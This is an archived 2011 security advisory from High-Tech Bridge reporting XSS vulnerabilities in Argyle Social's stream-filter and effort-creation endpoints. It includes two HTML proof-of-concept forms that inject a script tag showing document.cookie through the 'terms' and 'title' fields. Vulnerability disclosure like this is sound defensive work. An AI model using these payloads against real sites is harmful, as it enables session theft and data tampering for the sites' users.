lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 12 May 2011 13:09:40 +0200 (CEST)
Subject: HTB22979: Multiple XSS (Cross Site Scripting) vulnerabilities in Argyle Social

Vulnerability ID: HTB22979
Product: Argyle Social
Vendor: Argyle Social ( ) 
Vulnerable Version: Current at 26/04/2011
Vendor Notification: 28 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerabilities exists due to failure in the "settings-ajax/stream_filter_rules/create", "publish-ajax/efforts/create" scripts to properly sanitize user-supplied input in "terms", "title" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="" method="post" name="main">
<input type="hidden" name="stream_filter_rule" value='{"name":"rulename","id":"","flags":["flagged"],"networks":null,"user_id":"0","terms":"XSS\"><script>alert(document.cookie)</script>"}'>


<form action="" method="post" name="main">
<input type="hidden" name="effort" value='{"effort_id":"","title":"ptitle2\"><script>alert(document.cookie)</script>","url":"","short":null,"campaigns":[],"primary_campaign":null,"flights":[{"glass_id":"post0","flight_id":null,"mdk":false,"source":"web interface","content_type":"twitter-status","content":{"content":"hello"},"stime":"4/30/2011 23:10:00","networks":[{"id":"1","name":"My Name","type":"twitter","url":"","avatar":""}],"waparams":{"pname":null}}]}'>

Powered by blists - more mailing lists